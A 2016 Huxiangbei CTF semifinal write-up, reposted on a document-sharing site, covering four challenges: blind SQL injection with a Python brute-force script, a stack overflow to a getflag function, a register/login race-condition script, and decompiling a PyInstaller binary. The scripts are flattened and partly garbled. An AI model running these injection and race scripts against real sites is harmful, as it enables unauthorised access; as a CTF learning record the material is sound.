2016湖湘杯复赛writeup.docxVIP

  1. 1、本文档共8页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
2016湖湘杯复赛writeup

1、Myblog打开网站后,找后台登录界面,尝试万能密码,发现可以成功登录,确定存在SQL注入。用burp抓包后,交给sqlmap处理,发现后台数据库是sqlite,但是只能跑出tables,跑不出表中的内容。猜测flag表中存在flag列,编写python脚本,逐位猜测flag的值,因为网站连接不稳定,调整timeout为60秒。#/usr/bin/env python#-*- coding: utf-8 -*-#Python 2.7.9import requestsimport strings = requests.Session()url = 9:8080/admin/checkr = s.get(url)list = string.printablefor seq in range(32): for hkey in list: username = admin\ and substr((select flag from flag), + str(seq) + ,1)=\ + hkey + \-- r = s.post(url, data={username:username,password:admin,submit:%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2},timeout = 60) if success in r.content: print hkey, breakFLAG截图如下:2、Pwnme先用IDA查看源码,发现溢出点在getfruit函数里:然后还发现有个getflag函数可以直接输出flag接下来用gdb调试,找溢出偏移量,先创建一个200个字符的pattern:然后运行程序,进入getfruit函数,输入pattern,程序会报错中断,中断的位置是0根据该中断的位置,就可以用pattern offset计算出溢出偏移量为168。另外,通过readelf可以看到getflag的地址为0知道上述信息,就可以编写EXP脚本:执行该脚本,得到flag:3、ASCII字符图库御剑后台扫描发现网页有.bak后缀的备份文件,手工尝试发现网站页面大都存在.bak后缀的备份文件。在login.php.bak中发现只要不满足$row[isRestricted]的条件,页面就会自动包含flag文件,同时在register.php.bak文件中发现,注册过程分为两步sql语句执行,第一步创建用户,第二步更改用户权限。于是编写python脚本,让注册过程和登录过程以多进程方式同时运行,以期望在执行第一条sql语句和第二条sql语句之间,完成登录过程,成功包含flag文件。#/usr/bin/env python#-*- coding: utf-8 -*-#Python 2.7.9import requestsimport multiprocessing def login(): s = requests.Session() url = 26/login.php r = s.get(url) for seq in range(100): username = admin111222 + str(seq) r = s.post(url, data={username:username,password:admin}) if flag in r.content: print r.content breakdef register(): s = requests.Session() url = 26/register.php r = s.get(url) for seq in range(100): username = admin111222 + str(seq) r = s.post(url, data={username:username,password:admin}) if flag in r.content: print r.content breakif __name__ == __main__: p1 = multiprocessing.Process(target=register) p2 = multiprocessing.Process(target=login) p1.start() p2.start() p1.join() p2.join()Flag截图如下:4 login使用IDA和OD进行分析发现存在很多Py文件调用,于是怀疑是py文件转换成的exe文件,使用pyinstxtractor解出pyc接着使用uncompyle6逆向出py文件查出用户名和密码登录拿到flag

文档评论(0)

youshen + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档